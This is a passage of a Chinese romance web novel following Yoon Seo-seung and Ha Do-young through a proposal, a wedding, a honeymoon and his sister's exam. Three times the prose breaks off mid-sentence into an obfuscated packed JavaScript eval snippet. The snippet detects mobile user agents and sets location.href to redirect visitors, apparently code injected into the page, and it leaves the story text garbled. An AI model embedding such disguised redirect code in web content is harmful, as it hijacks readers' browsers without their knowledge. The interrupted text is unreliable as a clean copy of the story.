只有短短两句话,没有多余的肉麻话语或陈词滥调,但尹叙承看了,嘴角就是压不下去。 他回了个简短的[嗯!]字,便把手机放入口袋,走之前又看了一眼窗外那棵榕树的新芽。 和煦的春光落在他脸上,如此温热、轻柔,就像是某人落下的一个吻。 尹叙承忽然想,要是现在河道英在他身旁,就好了。 好心情一直持续到早餐桌上,东恩发现他一直在笑。 “哥,你今天心情很好?” “嗯?” 尹叙承回过神,眨了眨眼。 “有吗?” 东恩看着他,目光带着一丝了然的意味。 “有啊,很明显。” “一看就知道不是一般的好。” 她夹了一筷子辣白菜放进碗里。 尹叙承低头若无其事地喝粥,假装没听见。 但他嘴角的弧度还是没压下去。 吃完早餐,东恩去上学了,工作最近很是清闲的尹叙承窝在客厅舒适的沙发里,听着电视里关于最近总统选举投票的新闻声,望着落地窗外熟悉的庭院发呆。 保姆大姐在打扫卫生,偶尔传来扫地声或擦动瓷器轻轻的碰撞声,日头渐渐升高,阳光自玻璃窗洒落进来,光亮的木地板上铺开了暖黄的金光,一切都那么静谧,如此美好。 手机又震动几声,尹叙承迫不及待的拿起一看,是河道英发来的照片,仍然是那张黑色的办公桌,不同先前的是,杯中的咖啡已见底,纸张文件的数量只增不少。 [想逃。] 尹叙承笑了,难得看到这个人会有正经之外的配文,回道: [逃去那呀?] 对方秒回: [你那。] 陷入恋爱状态的尹叙承看着这两个字,内心像是被羽毛轻轻撩了一下。 他想了想,打下几个字。 [那晚上下班来。] 发完之后,尹叙承自己都愣住了,脸瞬间变红。 这就邀请过夜了……? 还没等他反应过来,河道英已经回了。 [好,晚上见。] 他盯着屏幕中的聊天对话,忽然把整个脸都埋进沙发抱枕中。 完了,完了,好像越来越喜欢这个男人了!真是控制不住的爱情啊~ 晚上七点,河道英准时出现在门口。 他身穿卡其色的大衣,黑发被风吹动却不显凌乱,手里还拎着一个礼盒样式的东西。进门的时候,初春晚间的寒风被他一同带入涌进,穿着有些单薄的尹叙承不经意冻了一下,着急的接过他手中的东西,马上将门关上。 “这是什么?”尹叙承好奇地打开。 那是一瓶有些年头的红酒,看品牌和上面写的年份,居然是他觉得喝着口感不错,还算喜欢的那一款。 “你……” 尹叙承抬起头,看着他。 “你怎么知道我喜欢这个?” 河道英嘴角微微扬起。 “你上次说的,喝过这个年份的,对它的评价很高。” 尹叙承愣住了,那都是两个月前的事情了,他自己都快忘记了,河道英却还记在心里,他小声嘟囔了两句,真是用心了,又轻声说: “别站在门口了,咱们去客厅那边吧。” 保姆大姐已经下班了,东恩在楼上卧室写作业,客厅里只开了一盏落地灯,暖黄色的光线像是落日夕阳的余晖。 河道英在沙发上坐下,看着尹叙承去厨房拿酒杯。 “你家的氛围很好。”他说。 “什么?”尹叙承从远处的厨房探出头,没办法,客厅太大,隔得远音量太小有时容易听不清。 “我说,你家很好,一切都很温馨。” 河道英的目光扫过客厅,最后落在他身上,稍微提高声音回道。 “那是当然哒,这可是我家,装修和装饰都是我一手包办的。” 尹叙承露出自豪的笑容,端着两个高脚酒杯走过来,在河道英身旁坐下。 醒好的红酒散发着暗红色的光泽,丝滑的流入晶莹剔透的玻璃酒杯中,两人碰了碰杯,发出清脆的好听声音。 “你要见见我的家人吗,我妹妹正巧今日在家?” 河道英想了想,摇了摇头。 “下次吧。” “今天只是想见你。” 尹叙承抿了一口酒,心跳节奏又快了一拍,这个人怎么……越来越会说话了…… 两人静静地酌饮,偶尔聊上几句话,窗外夜色很深,屋内温暖依旧,留声机上黑胶唱片在缓缓旋转,经典的钢琴乐曲流淌在客厅空间,这样的时刻,仿佛有种魔力,似乎什么都不用说,仅仅无言享受就已经很好了。 酒喝到一半,尹叙承的脸颊染上了一层薄薄的粉色。他依靠在沙发上,歪头看着河道英,眼睛亮亮的,像是闪光的星星。 “河道英……” “嗯?” “你为什么喜欢我呀?” 河道英沉默了几秒。 “你觉得呢?” 尹叙承笑着对他wink道: “不知道,所以才问你嘛。” “但我知道我非常非常好,值得拥有所有人的喜欢!” “你醉了。” 河道英笑着放下酒杯,转过头,静静地看着他。 那目光很深,像是要把这一刻永久记住,印刻在心底。 “不过也对,叙承非常好,喜欢上你是我的荣幸。 “我酒量才没有那么差!” 尹叙承被他看的有些不好意思,想要逃避这炽热的目光。 他低下头,盯着自己手中的酒杯,杯底只有浅浅的红色酒痕,他无意识地攥紧了细长的杯托,陷入醉意的大脑还没完全关机,提醒尹叙承下一秒可能有什么要发生了。 “叙承。” 河道英的声音很轻,像是怕惊扰到什么,但也充满了诱人的磁性。 尹叙承抬起头。 河道英侧倾过身来。 他的动作很慢,尹叙承有足够地时间躲开,也有足够的时间说不,但他没有,只是既像愣住又像默认一样,看着河道英一点点的靠近,直到清晰地看到他微微抿起的唇角。 然后,便是一个吻落了下来。 很轻,很柔,就像是春日破土而出的新芽或枝头初绽的新蕊。 尹叙承闭上眼睛,笨拙地回应着。 他感觉到河道英的手轻轻捧住他的脸,手掌的温度比他脸颊的温度高很多,那个吻渐渐加深,像是在确认什么,又像是在承诺什么。 情到深处,两人的亲吻越来越激烈。 客厅里很安静,落地灯的光晕将他们笼罩在一起,影子缠绕在一起,不分你我。 不知过了多久,尹叙承才呼吸不畅地退开一点。 他的额头抵在河道英的胸口,简单平复了一下心情才抬起头睁开眼,看着那双近在咫尺的眼眸。 那双眼睛里,有他从未见过的如此强烈的感情,不是冷静、不是克制,而是温柔的、愉悦的、几乎要溢出来的满足的欢喜。 尹叙承忽然笑了,伸出双手,环住河道英的脖子,将他拉近,又凑近男人的耳边,轻轻地吐出几句撩人的话语。 “去楼上我的卧室吧~” “唔!”尹叙承惊呼一声。 河道英没有回答,他直接默默地一把将尹叙承抱起,用行动表达。 他们一边亲吻着一边穿过客厅,走过楼梯,通往三楼,来到尹叙承的卧室。 房门关上的片刻,窗外皎洁的月光正好从窗帘缝隙里漏入,映照在二人身上,同时也在地板洒开一片银光。 河道英站在那里,看着怀抱中的尹叙承。 银白色的月光落在尹叙承的侧脸,将他的轮廓描摹的如此圣洁,挑染的粉色头发也在阴影中沦为暗色,变得模糊。 尹叙承被他看的有些紧张,想说什么,但张张嘴又都什么也没说出来。 “别怕。” 河道英动作妥帖地将尹叙承稳稳地放在卧室那张柔软的大床上。 白纱窗帘被风吹动,晃了晃,又稳了下来,尹叙承脱掉上衣,指挥河道英锁门、关窗、拉窗帘…… 那之后的事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437652|200992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是笼在一层薄薄的雾里,一切云里雾里而又顺理成章的发生了。 也许是喝醉的原因,尹叙承有些迷迷糊糊地,只记得一些碎片。 记得河道英的手指穿过自己的头发,温热的带着一点点红酒的气息落在颈侧,记得某些事先痛后爽的感受,还有嗅到彼此香水的雪松香与柑橘香交缠融合在一起,更记得自己是怎么将河道英后背抓出了一道道红痕,然后河道英轻轻握住自己的手,放在他的心口,感受心脏强有力的跳动…… 抱腿坐在房间浴室中盛满温热水的浴缸中,享受着某人的事后清洁服务,回味着刚才的感受,让尹叙承某名地想笑,并且一直持续到两人洗完上床单纯睡觉时。 在黑暗中,他恨不得将整个人埋在河道英的怀里,闷闷地满足地笑出声。 河道英没问他笑什么,只是轻轻拍了拍他的背。 月亮升高又要下落,过了很久,尹叙承闭着眼睛,却没有一丝睡意,他感受到河道英仍然一下一下地轻拍他的背,像是在哄睡觉。 两人却都没有睡着。 尹叙承心里有种满溢的充实与欢喜,他想要牢牢地永远地将身旁这个人拴在自己身边。 看着闭着眼睛、呼吸平稳,像是睡着的河道英,尹叙承伸出手,轻轻描摹他脸部的轮廓。 河道英的眼睛突然睁开了。 “睡不着?” 他声音有些暗哑。 尹叙承乖乖地点点头。 河道英伸手把他往怀里揽得更紧点,将下巴抵在他毛茸茸的头顶。 “那就别睡。” “聊会儿天。” “聊什么?” “你想说什么,我都听着。” 隔音很好的卧室安静的只有两人对话声在回荡。 尹叙承听着河道英的心跳,一下又一下,很稳很踏实。 “河道英!” “嗯?” “我有没有说过,遇见你真好。” “现在说了。” “我也是,遇见你真好,是一件幸运美好的事。” 尹叙承笑了笑,往上蹭了蹭,在河道英下巴上亲了一下。 河道英没有说话,只是低头,在他额头同样落下一个轻吻。 房间一瞬间又恢复了安静,只剩下彼此的呼吸声。 过了很久,河道英才开口。 “叙承,我有话想跟你说。” “呐?” 尹叙承抬起头看到河道英认真的目光。 “我家里……一直在催我结婚。” 尹叙承的笑容顿了一下。 “你知道,我们这个圈子,联姻才是常事,在遇到你之前,他们给我安排了很多相亲,不过我一个都没去见。” “因为我不想,和一个我不喜欢又看不顺眼的人过一辈子,像是被操控的傀儡一样。” 尹叙承感到自己的手被河道英握的很紧,好像如果他一撒手,自己就会消失那样。 他顿了顿,继续说: “我想和我喜欢的人在一起。” 尹叙承瞳孔放大,心跳加快。 “你……” “叙承,你愿意和我结婚吗?” 河道英用一种认真坚定和温柔的目光看着惊讶的尹叙承,又不知从哪里拿出一个装有戒指的丝绒小盒。 “其实,在客厅喝酒那会儿,我就想要问你的。” 尹叙承先是愣住了,赶忙回过神后,又迅速地毫不迟疑地拼命点头。 “我愿意啊。” 河道英收获自己爱的人准确的回答,露出由紧张转变为安心的、愉悦的、求婚成功的笑意。 “我知道这有些突然,我们仅仅认识了半年多,但我想得很清楚,你是我第一个,也是今后唯一一个,让我觉得喜欢,想要一起生活下去的人。” “更是第一个让我想有个家的人。” 尹叙承看着河道英将戒指郑重地戴在自己无名指上,他动作很慢,珍重地完成一个只有两个人的仪式。 尹叙承眼眶发热,哽咽地说: “你……你不怕家里反对吗?” “虽然同性可婚法案才出台不久……” “不怕,我更怕的是错过你。” 河道英的目光很坚定。 尹叙承擦了擦泪水,看着眼前的男人,过了好一会儿,忽然笑了,但又像是想到了什么,那笑容顿住又猛地消失了。 “河道英。” “有件事我不想隐瞒……” “我……其实尹家收养的,我不是什么财团的小少爷,更是被亲生母亲因为体质特殊而被当做怪物抛弃……” “即使是这样,你……也能接受吗……还会和我结婚吗?” 他语气强忍颤抖,装作平静地说。 6. 然后在春日结婚 房间内安静了几秒。 河道英伸出手,轻轻擦去尹叙承眼角的泪痕,像是在触碰某人易碎哭泣的心灵。 “我喜欢的,从始至终都是你这个人。” 他一字一句地说,声音很沉稳,眼中也没有半点犹豫。 “不是你的身份、更不是你的家庭背景,无关外物,只关乎你。” 那一直悬在心头的沉甸甸的担忧,终于落回了原处。 “你怎么这么会说啊……” 尹叙承得到他想要的确切的承诺。 他把脸埋进河道英怀里,止住了哭泣,刚才的脆弱像灰尘般被风吹散,很快不见踪影,他又变回了那个熟悉的活泼的人。 等他再抬起头时,脸上已经挂回了喜悦、明媚的笑容。 看到爱人变回阳光开朗的样子,河道英在内心暗暗发誓,不要让这个人再次露出刚才那样难过的表情了。 “对了!” “结婚这么大的事,明天我还要告诉东恩和大姐。” 尹叙承忽然想起来说。 不过他又顿了顿,补了一句。 “你家那边……” “别担心,我会搞定一切的……” 河道英又在他额头落下一个安抚意味的吻。 尹叙承没再说话,开始看起自己的左手。 无名指的对戒在浅光的室内也如此具有存在感,但并不是刺眼灼人的那种,反而如同月光一样和谐、温润,尹叙承静静欣赏了一会儿做工精致的戒指,他想,以后的生活也会如这枚戒指一样,温暖温馨,永远不失明亮吧。 两人相拥着入睡,彼此间再无未尽的话语。 第二天,与河道英分别后,尹叙承去找大姐。 均工集团总部位于首尔市中心最繁华地段,他到时正赶上上班早高峰,来来往往的人群车流总是将街道和马路堵的水泄不通。 集团的写字楼高耸入云,玻璃幕墙映照着澄澈的蓝天。 尹叙承到公司便急忙乘坐总裁专用电梯直达大姐办公室,前台与工作人员都对集团尹家的小少爷很是眼熟,自然是没人敢拦。 电梯门打开,他快步穿过铺着地毯的走廊,在大办公室门口深吸一口气,才敲了敲门进入。 尹明敏正在看文件,听见动静后她抬起头,挑了挑眉,有些许疑惑,才上午八点整,什么事这个点来? “这么早?有事?” 尹叙承坐在她对面的椅子上,难得有些紧张。 “大姐,我有件关乎我人生的大事想跟你说。” 听这话,尹明敏立刻放下文件,身体微微前倾,眉头皱的更紧了,脸上明明白白写着几个字“你是不是闯什么大祸了?” “说吧。” 尹叙承深呼一口气,用一种神神秘秘还略带暗喜的语气说: “我要结婚了!” 办公室里安静了快一分钟,尹明敏眼中充斥着大量的意外,但很快她的情绪便由吃惊恢复了平静。 “和谁?” “是你先前提过的河道英吧?” “没错,就是那个载平建筑的代表河道英。” 尹叙承肯定地点头,眼睛亮亮的。 尹明敏沉默了一会儿,不知想了些什么,然后淡淡地笑了。 “如果是你认定的人,那么恭喜。” “虽然我觉得你们现在结婚有些早了点,但是既然你很喜欢他,那大姐我肯定还是支持的。” “而且河道英这人,我与他有过几次生意往来,算是个可靠的好人,我也比较放心吧。” “你……你不反对?” 尹叙承愣了一下,他以为大姐或多或少不太赞同自己这么快结婚的,没想到她支持的这么迅速。 “我为什么要反对,你能找到喜欢的人,能多一个爱你的照顾你的人,我高兴还来不及。” 她无奈地笑了笑。 “而且就算退一万步讲,哪怕你这次婚姻失败了,那我们尹家也有能力保证你不会受到一点伤害的。” 尹明敏站起来,走到他面前,伸手揉了揉尹叙承蓬松地黑发,就像小时候那样。 “你一直知道自己想要什么,是个有主见的孩子。” “只要结婚是出于你本心的,那就够了,其他的,有大姐给你撑着。” 尹叙承的眼泪终于忍不住了,他用力抱住大姐,声音有些闷闷的。 “谢谢你……” “你是最好的大姐!” 尹明敏轻轻拍着他的背,什么都没说。 上午晴朗的阳光从玻璃墙落进来,照在两人身上,很暖,很温馨。 晚饭后,尹叙承把东恩叫到书房。 “哥,怎么了?” 东恩看着他一脸郑重的样子,有些紧张。 尹叙承让她在书房沙发椅坐下,自己也坐在一旁。 “东恩,我有件很重要事情要告诉你。”他声音有些轻。 东恩看着他,等待接下来的话语。 “你哥我,要结婚了!” 尹叙承提起这件事都是满满幸福的笑容。 “真的吗?” 东恩愣了一下,想了想。 “是早饭时遇见的那位河道英先生吧?” “对,就是他!” “我对这位哥夫印象还好,他个子挺高、长相很好,我觉得和哥哥你非常般配。 尹叙承听着,嘴角又往上翘了翘。 “我见过哥哥每次和他手机聊天,都会不自觉的露出笑容。” “哥和他结婚一定是很开心的吧?” 东恩思索着说。 尹叙承看着她,忽然感觉心里暖暖的。 “开心。” “特别开心!” 他认真地点头回复。 “那就好,只要哥开心,我就支持。” 文东恩也点点头。 “哎呀,你这孩子……” 尹叙承伸手,用力揉了揉她的头。 东恩没躲,反而被他那副感动的样子逗笑了。 “哥,婚礼是什么时候?” “我要当伴娘吗?” “还有大姐那里你告诉她了吗?” “是不是还要准备新婚礼物之类的?” 尹叙承被她一连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437653|200992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 串的问题问懵了,忍不住无奈笑道: “现在只是通知啦,还没定呢,你这么着急呀?” “当然着急!” “这可是我亲哥的婚礼诶!” 东恩非常认真严肃地说。 尹叙承看着关心自己的东恩,想起同样关爱自己的大姐,他心想,这辈子能有这两个家人,真好。 婚礼定在了四月中旬,正是春日氛围最浓厚的时候。 场地就选在河道英与尹叙承置办的新庄园的花园内,除了园内盛放的蔷薇花,郁金香、绣球、玫瑰等各色各彩的婚礼花束也都装饰在各处,四周的天空似乎都遍布着鲜花的色彩。 光与影彼此交织,风中蕴含着爱情的缤纷气息,婚礼气球随纱幔轻轻摆动。 人不算多,此次婚礼仅限尹叙承和河道英彼此要好的家人与朋友参加,那场有各界人士参与的规模较大的婚宴早些时候已经举办过了。 尹明敏和东恩都坐在第一排,大姐穿着浅黄色的西装,难得没有绷着脸,摆出工作时冷漠严肃地样子。 她身旁,河道英的母亲正在与她热切地攀谈什么。 而东恩穿着淡粉色的连衣裙礼服,眼睛亮亮地看着前方,等待仪式的进行。 白允站在角落,还是一身笔挺的黑西装,嘴角罕见的带着一点笑意,保姆大姐也在,穿着一件崭新的碎花裙子,她女儿坐在旁边,好奇地东张西望。 房东老太太状态很好,精神抖擞的样子,坐在第二排颇有力气地为新人鼓掌。 婚礼进行曲响起来的时候,尹叙承变得更为紧张了。 他穿着白色的西装,发型很整齐正式,只不过前段时间他又将发尾全染成了粉色,怎么样都显得很活泼俏皮。 河道英站在花园另一侧,身穿黑色西服,手里捧着一束娇艳欲滴的红玫瑰,他看着尹叙承,目光很深,还有毫不掩饰的笑意。 两人一步一步彼此走近,脚下花园石径路上铺满了柔美的花瓣,空气中流动着馥郁花香,阳光穿透茂密的树冠,透过缝隙斜照在他们身上,涂抹着日光的暖金色。 直到他们在花园中央的石台上相遇,走到河道英面前的时候,尹叙承的眼眶已经红了,面上也有了泪痕,不过这都是高兴的泪水。 河道英深情地注视着他,轻轻握住了他的手。 “别哭。” “以后我会一直陪着你的。” 尹叙承点点头,眼中的泪花在阳光的照射下晶莹的像是宝石。 请来的司仪神父各种语言的祝福话、仪式话都说了些什么,尹叙承没听清,他只记得最后宣誓的时候,河道英为他戴上不于求婚时的结婚钻戒,并看着他的眼睛,一字一句郑重地说: “我愿意。” 然后他也迅速地发自内心地回道: “我愿意!” 尹叙承和河道英在台下亲朋好友的热烈掌声中,亲吻彼此。 不必忙于急迫的事情,不必焦虑未来会如此,只需要享受着一定会在记忆中留下浓墨重彩的一天。 尹叙承沉浸在悠然与甜蜜中,忽然想,如果时间能永久停在这一刻,就好了。 7. 岛屿上的蜜月 太平洋上一座小岛的春日,似乎要比首尔的春天来的更慢一些。 这岛是尹叙承十八岁成年礼时,尹家父母送给他的生日礼物,正巧用作尹叙承和河道英结婚后蜜月旅行的地点。 岛上私密性很好,工作人员都集中住在岛屿北侧的对外开放的民宿中。四月底的海边,海盐味的风还带着些许凉意,但高悬的太阳还在源源不断散发暖意,他们住的别墅在岛南一处僻静的海湾旁,白墙蓝顶的欧风建筑在海边显得格外融洽。 有着同样蓝色木框的玻璃窗敞亮地大开着,可随意清晰可见果冻般时蓝时绿的海洋,每天早晨,毫无遮挡的日光便会旁若无人地洒入卧室,晃醒酣睡中的尹叙承。 阳光落在他脸上,落在枕头上、地板上,也落在河道英的侧脸上,将男人安静的睡颜,照的少了一分平日的冷峻。 尹叙承早醒时,有时候就会盯着看很久,看他微微颤动的睫毛,看他均匀起伏的胸口,看他更为柔和的眉眼。 河道英很多时候就会在这目光中醒来。 “看什么?” 他的声音还带着刚睡醒时的沙哑。 “看你。” “看我老公。” 尹叙承理直气壮地说。 河道英看着他,嘴角慢慢扬起,是一个淡淡的笑容。 尹叙承细致地观察到了,他认识这个人快一年了,见过他从一开始的冷静疏离到现在温柔纵容的所有样子,男人的所有变化中都有着自己影响的影子,这种认知让尹叙承的心情出奇的好,凑过去给了自己老公一个亲亲。 “饿不饿?”河道英问。 “饿了。” “那起床。” “不想起嘛。” 尹叙承往他怀里缩了缩。 “又没有工作,再躺一会儿~” 河道英没说话,只是默默伸手揽住他。 窗外的悠久的海浪声在安静的环境中彰显着存在感,撞击礁石一下又一下的声音,就像是大海的心跳。 这样恬静悠闲的早晨,真好。 度假别墅附近有一片自然生长的野花田,他们从四月底待到五月初,不知名的小花正是开得好的时节,金黄色的一片一直从岛上的小山丘延伸到岸边。 尹叙承第一次见的时候就被这自然风光吸引住了,呆愣愣地看了许久。 “好美!”他眼睛亮亮的。 河道英静静站在一旁,陪他欣赏着,过了几分钟,他问: “要不要凑近看看?” 尹叙承转头看他,笑道: “好啊!” 两个人沿着野花田埂慢慢走,咸湿的风从海上吹来,带着清凉的体感,也带着花香,那香气不浓郁,有些淡淡的若有若无之感,故意藏匿混杂在海风的味道中。 尹叙承走着走着,忽然停下来。 “河道英。” “嗯?” “你知道吗?” “我以前从来没想到,未来的生活会有这样的时候。” 河道英看着他,等待他继续说。 “能和一个喜欢的人,走在花田里,什么也不用想,什么也不用做。” 尹叙承的声音轻轻的。 “只是走一走,看一看,平淡地享受恬静地时光。” 他顿了顿,又补了一句: “像是在梦境般那样。” 河道英沉默了几秒,然后握紧了尹叙承的手。 他的手心与他的话语一样温暖。 “不是梦,这就是已经发生的我们的生活。” “不论现在还是将来,都会有很多很多这样真实悠闲的时光,我们会一同度过。” “嗯!” 尹叙承笑了,用力回握住他的手。 两人继续牵手往前走,被风吹起的衣袖彼此交织缠绕在一起,不分你我。 远处有蓝天蓝海,近处有金黄花田与爱人相伴。 某天傍晚,两人在海边散步。 夕阳沉入海平面,将海洋染成一片橘红色,被照的波光粼粼的海面,像是洒上了一层碎金。海浪在沙滩上涌进又退后,只留下冲刷过贝壳的白色泡沫。 尹叙承脱了鞋,赤着脚走在金色沙滩上,细密的沙子被太阳晒得暖暖的,踩上去脚感也是软软的,很舒服。 河道英走在他旁边,手里拎着的是自然而然捡起的他的鞋子。 “你不脱嘛?”尹叙承见他还穿着鞋,好奇地问。 河道英看了看沙滩,又看了看他。 “不脱。” “为什么?” “这样感觉怪怪的,而且怕被你看笑话。” 尹叙承愣了一下,然后“噗嗤”笑出声来。 “这有什么好笑的,而且我怎么会看你笑话!” 河道英看着他,没说话,但眼里的意思很明显:你看,你肯定会。 尹叙承笑得更开心了。 他拉住河道英的手,晃了晃。 “哎呀,我们河道英代表难道从来没有在沙滩上走过吗?” “脱嘛,脱嘛,一起走!” 河道英沉默了几秒,无奈的叹了口气,弯腰把鞋也脱,自己选的老婆,自己一定要宠着。 尹叙承得意地哼哼笑了两声。 二人并排着走在沙滩上,海浪涌上来没过他们的脚踝,又退了回去,海水还凉凉的让人感觉有些痒。 不过被浸湿的沙子软软的,每走一步都能留下一个浅浅的脚印。 尹叙承就喜欢散着散着步突然停下来,去观察或欣赏周围的环境。 这次他停下,低头看了看自己的脚,又看了看身后那些脚印。 “你看,”他指着沙滩,“我们的脚印。” 河道英顺着他手指的方向看去,两串并排着隔得很近的脚印,从远处一直延伸到他们脚下,较大的海浪偶尔会涌上来,冲淡了最近的几个,但远处那些依然清晰可见。 “以后会有更多的。” 河道英突然说了一句。 尹叙承转头看他。 “什么?” “脚印。” “全世界还有很多地方我们会一起去,还有很多脚印会被留在各处的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437654|200992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 河道英与他对视,目光很深。 尹叙承点点头,踮起了脚,在河道英唇上亲了一下。 “你说的对。”他说。 “要一起环游全球!” 夕阳又往下沉落了一些,把两个人落在沙滩上的影子拉的更长了,海浪继续不停歇的拍打岸边,但那些深深浅浅的脚印,还留在那里。 从太平洋度蜜月小岛回来后,日子又恢复了平静。 春去秋来,夏去冬来,一转眼,东恩就已进入了高三下学期,学习一下子紧张起来。 尹叙承为了给妹妹一个好的备考环境,特意在她高中旁边买了栋房子,东恩最近周一到周五都单独在这边住着。 除了有学习生活更方便了许多的原因,她也想留给哥哥和哥夫更多的私人相处空间,不过尹叙承到是一有空就会过来陪伴东恩,毕竟家人的关心也很重要。 周末时,东恩就会回庄园里住,哪怕是在休息日,每天早晨六点,她房间的灯都会准时亮起,晚上十一二点那盏灯还亮着。 有时候尹叙承饿了半夜起来找吃的,经过她门口,都能看到门缝里透出来的光,很多时候,他会敲门进去,给东恩送一杯热牛奶。 “别太累了。”他说。 东恩点点头,接过牛奶,喝了一口,又继续低头看书。 尹叙承看着她,有些心疼,但也知道东恩这么努力都是为了自己的梦想,她想考全国最好的那所大学的建筑系。 河道英结婚后就一直在忙着将载平建筑的总部由世明市迁到首尔来,工作原因使他常常往返于两地奔波,导致他每日回庄园的时间都很晚,不过等到迁址完毕后,就不会这么忙了。 他每晚回来时,都会带尹叙承最喜欢吃地夜宵,陪他坐在客厅沙发上看BE爱情电影,有时候东恩出来倒水,看见他俩,会点点头叫一声“哥哥、哥夫。”然后又回房间去了。 “她太拼了。”有一次,河道英看着东恩急匆匆回屋的背影和那扇紧闭透光的房门说。 尹叙承靠在他肩上,叹了口气。 “我知道,但她想做的事,谁也拦不住。” 河道英沉默了几秒后说: “和你一样。” 尹叙承愣了一下,然后笑了。 “对,和我一样。” 六月初,东恩参加了高考前的最后一次模拟考试,考了全校第三名。 她拿着成绩单回家时,尹叙承将东恩从里到外都夸夸了一遍,那语气十分为她高兴与自豪。 “我就知道你能行!” 他还给了东恩一个来自家人的拥抱。 东恩被他抱得有些喘不过气来,但嘴角一直是翘着的。 河道英在一旁看着,眼里也带着笑意。 “考得不错。” “谢谢哥夫。” 东恩也也点点头,难得有些不好意思。 那天晚上,尹叙承亲自下厨做了满满一桌子菜,还叫来了刚刚结束出差的大姐,四个人围坐在一起,吃着饭,聊着天,像是一家人。 不对,他们本来就是一家人啊。 8. 既然在夏日高考 “哥,怎么了?” 六月中旬的某天傍晚,文东恩刚从学校回来,就看见尹叙承站在门口等她。 尹叙承神神秘秘地笑了笑,拉着还没来得及换鞋的东恩就往外走。 “走,哥哥带你去个地方!” 东恩一脸茫然地被他塞进了车里,车子一路驶向首尔郊外。 最终稳稳当当地停到一个建筑工地旁边。 东恩透过车窗朝外看,面上充满着疑惑。 “这是……?” 尹叙承下了车,拉着她走进去。 “哥……你确定这里让进?” “放宽心啦!” 工地还在施工,钢筋水泥随处可见,但建筑的雏形已经显露出来,这是一座很漂亮的房子,哪怕它尚未完工,也能看出设计者的用心, 整栋房子运用了维多利亚时期的复古风格,仅仅是框架都精致异常,让人恍惚间仿佛梦回那个年代。 “这是均工集团新建的地标文化中心。” 尹叙承说。 “设计师是首尔大学建筑系毕业的,你不是在为考建筑专业努力吗。” “所以,我带你来,不仅是想让你看它,更是想让你转移注意力,放松放松。” 东恩站在那里,望着那座还没完工的建筑,眼睛亮亮的。 “好看吗?”尹叙承问。 “好看。”东恩点点头,又重复了一遍。 “太好看了!” 尹叙承看着她,面上带着温柔阳光的笑意,想着这趟算是没白来。 “等东恩考上了,我相信你也会设计出这样的房子,肯定比这个还要好看!” 尹叙承揉了揉她齐肩的短发。 六月晚间的风吹来,有些温热,但东恩不觉得难以忍受。 她站在那里,看着那座尚未竣工的建筑,看了很久。 就好像看见了现在的自己。 高考前两天,尹叙承让东恩彻底休息。 “不准熬夜!” “现在好好放松,调整好状态,考场上才能发挥的更好!” 他装作严肃一本正经地样子说,黑发上的粉色呆毛一晃一晃的。 东恩本想说自己还可以再拼命复习一下的,但看着他那张认真的脸,只好答应了。 那两天,尹叙承请了专门的营养师为东恩搭配养生健康的饭菜,放学后更是带她去公园散步赏景,他们还去南山塔逛了一圈,河道英也专门请假,陪着他们一起。 站在南山塔上,东恩从高处俯视首尔的景貌,忽然说: “哥,我以前经常想,什么时候能离开那个地方。” 尹叙承知道她说的是哪里。 “现在呢?” 东恩笑了。 “现在不想了。”她说。 “因为我知道,我一定能去我想去的地方。” “对,一定能!” 尹叙承看着东恩说这话时眼中那坚定充满希望的光,心里很暖,欣慰于东恩真是长大了啊。 高考那天,尹叙承、河道英、尹明敏全都抛下各自忙碌的工作,亲自送东恩去考场。 黑色汽车缓缓停在校门口,东恩下车前,尹叙承叫住了她。 “东恩!” 她回过头,看见尹叙承露出鼓励的笑容。 “加油!不要有压力,考完了,哥下厨给你做好吃的。” 文东恩点点头,转身走进考场,背影里有着全力以赴的坚定。 尹叙承看着她渐渐消失在人群中,忽然有些感慨,想起第一次见到东恩时的场景。 那个曾经瘦弱的女孩,现在已经成为自信坚强,充满阳光与希望的人了啊。 星期一成绩出来时,东恩正在房间看书。 留长的黑发垂下,落在洁白的书页上,她有些一心二用,又有些心不在焉,一边一目十行地浏览卡尔维诺的小说《如果在冬夜,一个旅人》,一边分神频繁看起手机时间。 突然,一阵短信铃声响起,是通知学生可以电脑登录查分的短信! 文东恩盯着屏幕,看了很久,站起身,她先在卧室里紧张地徘徊了几圈,做了几次深呼吸,才将激动忐忑的心情平复下来。 然后她手有些颤抖地打开电脑进行操作。 客厅沙发上,尹叙承将头枕在河道英坚实的大腿上看着电视剧,其实他的心也早就不在剧情情节上了,要不是东恩决定先独自一人查看成绩,尹叙承现在一定也会在电脑面前焦虑的团团转了。 “咔哒。” 开门声响起,东恩端着笔记本电脑走出,脸上的神情看不出好与坏。 “怎么样?”尹叙承猛地坐起来问道。 东恩没说话,只是把电脑递给他。 